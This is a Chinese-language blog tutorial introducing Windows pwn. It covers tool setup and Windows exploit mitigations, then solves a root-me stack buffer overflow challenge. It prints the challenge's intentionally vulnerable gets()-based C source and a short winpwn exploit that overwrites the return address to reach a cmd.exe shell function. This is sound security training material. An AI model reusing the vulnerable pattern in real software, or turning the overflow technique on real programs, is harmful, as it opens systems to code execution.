前言

前几天因为看CS shellcode装了一个win10虚拟机,然后正好因为逆向课老师要装一系列工具。于是就想起来之前一直想看的windows pwn,就顺便装了一下相关工具并且入门了一下。

工具安装

winpwn

这个和pwntools差不多,不过可以让我们本地跑windows的程序(pwntools只可以本地跑linux的)。可以通过以下命令安装:

  • pip3 install winpwn
  • pip3 install pefile
  • pip3 install keystone-engine
  • pip3 install install capstone

安装完成之后可以通过from winpwn import *来检查一下,如果不报错那么即代表安装好了。

checksec

用来检查程序的保护机制是否开启。通过如下链接即可从github上下载到一个现成的。

https://github.com/Wenzel/checksec.py/releases/download/v0.6.2/checksec.exe

windbg

用来对程序进行调试。我推荐直接在Microsof store里下载windbg preview。(不过笔者由于操作不当,竟然把这玩意强行粉碎了,并且还没找到办法重新下载一个)于是笔者就随便找了一个windbg用了一下。

win_server

EX师傅写的,用来把程序映射到某个端口,方便我们的调试。项目地址如下:

https://github.com/Ex-Origin/win_server.git

保护机制

windows下的保护机制感觉比linux下多很多。

1、NX:(在windows下应该是DEP,可能是我这个checksec不标准)。表示堆栈不可执行。

2、Canary:(在windows下应该是GS,可能是我这个checksec不标准)。用来检测缓冲区溢出,与linux下的canary一样。

3、ASLR:地址随机化,使得exe,dll的地址不固定。

4、Dynamic Base:程序编译时可通过/DYNAMICBASE编译选项指示程序是否利用ASLR的功能。

5、High Entropy VA:我也不是很理解(也许是使得随机化程度更高?

6、SEH:结构化异常处理(Structured Exception Handling,简称 SEH)是一种Windows操作系统对错误或异常提供的处理技术。为Windows的程序设计者提供了程序错误或异常的处理途径,使得系统更加健壮。

7、SafeSEH:为了防止攻击者通过覆盖堆栈上的异常处理函数句柄,从而控制程序执行流程的攻击,在调用异常处理函数之前,对要调用的异常处理函数进行一系列的有效性校验,如果发现异常处理函数不可靠,立即终止异常处理函数的调用。

8、Force Integrity:强制签名保护。

9、Control Flow Guard:控制Flow防护 (CFG) 是一项高度优化的平台安全功能,旨在打击内存损坏漏洞。 通过严格限制应用程序可以从何处执行代码,利用漏洞(如缓冲区溢出)执行任意代码会更加困难。

10、Isolation:隔离保护,默认会开启。

11、Authenticode:签名保护。

例题

这里我们拿root-me PE32 - Stack buffer overflow basic来练手。

程序只开了DEP和SEH,并且程序的源代码已经给我们了,如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h> #define DEFAULT_LEN 16 void admin_shell(void)
{
system("C:\\Windows\\system32\\cmd.exe");
} int main(void)
{
char buff[DEFAULT_LEN] = {0};
int i; gets(buff);
for (i = 0; i < DEFAULT_LEN; i++) {
buff[i] = toupper(buff[i]);
}
printf("%s\n", buff);
}

那么就是一个很明显的缓冲区溢出,并且还给了我们后门函数,直接用winpwnexp即可。

from winpwn import *

context.log_level='debug'
context.arch='i386' r = process('./ch72.exe') payload = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
sleep(1)
r.sendline('calc') r.interactive()

调试方法

windows pwn的调试方法很多,这里我就介绍一种,借助Ex师傅的win server进行调试。

首先用win server把我们要调试的程序映射到某一端口上,如下:

接着用pwntools发包使得程序得以运行,此时我们就可以通过windbg attach 上去,愉快地调试了。

同时可以通过这个工具(https://learn.microsoft.com/zh-cn/sysinternals/downloads/vmmap)查看程序的内存分布

参考链接

https://www.z1r0.top/2022/11/23/win-pwn初探(一)/#安装winpwn

https://www.z1r0.top/2022/11/30/win-pwn初探(二)/#利用pwntools编写exp

https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/

windows pwn(一)的更多相关文章

  1. 我也来学着写写WINDOWS服务-解析xml抓取数据并插入数据库

    项目告一段落,快到一年时间开发了两个系统,一个客户已经在试用,一个进入客户测试阶段,中间突然被项目经理(更喜欢叫他W工)分派一个每隔两小时用windows服务去抓取客户提供的外网xml,解析该xml, ...

  2. Windows服务框架与服务的编写

    从NT内核开始,服务程序已经变为一种非常重要的系统进程,一般的驻守进程和普通的程序必须在桌面登录的情况下才能运行,而许多系统的基础程序必须在用户登录桌面之前就要运行起来,而利用服务,可以很方便的实现这 ...

  3. 我的pwn笔记

    0.64位程序参数一次保存在RDI,RSI,RDX,RCX,R8和 R9,具体见图 windows64位调用约定 1.<_libc_csu_init>有一些万能gadget,汇编如下 #! ...

  4. Pwn入坑指南

    栈溢出原理 参考我之前发的一篇 Windows栈溢出原理 还有 brant 师傅的<0day安全笔记> Pwn常用工具 gdb:Linux下程序调试 PEDA:针对gdb的python漏洞 ...

  5. Windows Shell远程执行代码漏洞((CVE-2018-8414)复现

    0x00   SettingContent-ms文件介绍 .SettingContent-ms是在Windows 10中引入的一种文件类型,它的内容是XML格式进行编写的,主要用于创建Windows设 ...

  6. PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系

    准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynam ...

  7. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  8. pwn学习日记Day5 基础知识积累

    知识杂项 int mprotect(const void *start, size_t len, int prot); mprotect()函数把自start开始的.长度为len的内存区的保护属性修改 ...

  9. 【CTF】Pwn入门 XCTF 部分writeup

    碎碎念 咕咕咕了好久的Pwn,临时抱佛脚入门一下. 先安利之前看的一个 Reverse+Pwn 讲解视频 讲的还是很不错的,建议耐心看完 另外感觉Reverse和Pwn都好难!! 不,CTF好难!! ...

  10. PWN学习之栈溢出

    目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的 ...

随机推荐

  1. node版本管理工具fnm踩坑

    我建议是直接不要用fnm,还是老老实实用nvm吧 fnm下下来电脑防火墙会报毒(用github上推荐的cargo install fnm方式下载,并非第三方安装) Trojan.Generic.HgE ...

  2. day01-家具网购项目说明

    家具网购项目说明 1.项目前置技术 Java基础 正则表达式 Mysql JDBC 数据库连接池技术 满汉楼项目(包括框架图) JavaWeb 2.相关说明 这里先使用原生的servlet/过滤器,后 ...

  3. 神奇的DEBUG:因为异常导致MongoDB容器无法启动

    越来越多的项目使用docker进行环境搭建,统一了开发和运行环境,好处颇多.但同时也引入了许多复杂性,比如一些容器服务突然无法启动,那么debug起来就比物理机安装的服务麻烦一些. 这段时间Mac P ...

  4. [OpenCV实战]22 使用EigenFaces进行人脸重建

    目录 1 背景 1.1 什么是EigenFaces? 1.2 坐标的变化 2 面部重建 2.1 计算新面部图像的PCA权重 2.2 使用EigenFaces进行面部重建 3 参考 在这篇文章中,我们将 ...

  5. GitHub + Hexo 搭建个人博客网站

    一.准备工作 1. GitHub + Hexo 的优势 Hexo 提供现成的模板和模块:github 的 pages 功能提供免费的服务器,零成本搭建属于自己的博客. 2. 需要了解的网站 githu ...

  6. Siri Shortcut

      AppDelegate.m         //#pragma mark - INUIAddVoiceShortcutButtonDelegate //新添加 - (void)presentAdd ...

  7. 洛谷P2036 PERKET题解

    先来审题,主要有以下几个条件: 酸度求乘积,苦度求和,两者相减的值最小(当然是绝对值). 下面附上AC代码: #include<bits/stdc++.h> //万能头文件 using n ...

  8. flutter 底部滑动导航,页面滑动同时让底部导航跟着变动,除了点击还可以滑动哦~~

    实现点击以及滑动都可以切换导航的效果 核心代码 完整代码 // 输入 imrm 快速生成下面 import 'package:flutter/material.dart'; import 'Home. ...

  9. OSI七层协议补充与socket套节字

    OSI七层协议补充与socket套节字 一.传输层之TCP与UDP协议 TCP与UDP协议都是用来规定通信方式的,数据传输过程中能够遵循的协议有很多其中TCP协议和UDP协议是较为常见的两个. 1.T ...

  10. Ubuntu下安装cURL库用于libcurl开发

    http://archive.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.22.0.orig.tar.gz 不要问我为什么,根据cURL主页的下载向导给的就是这 ...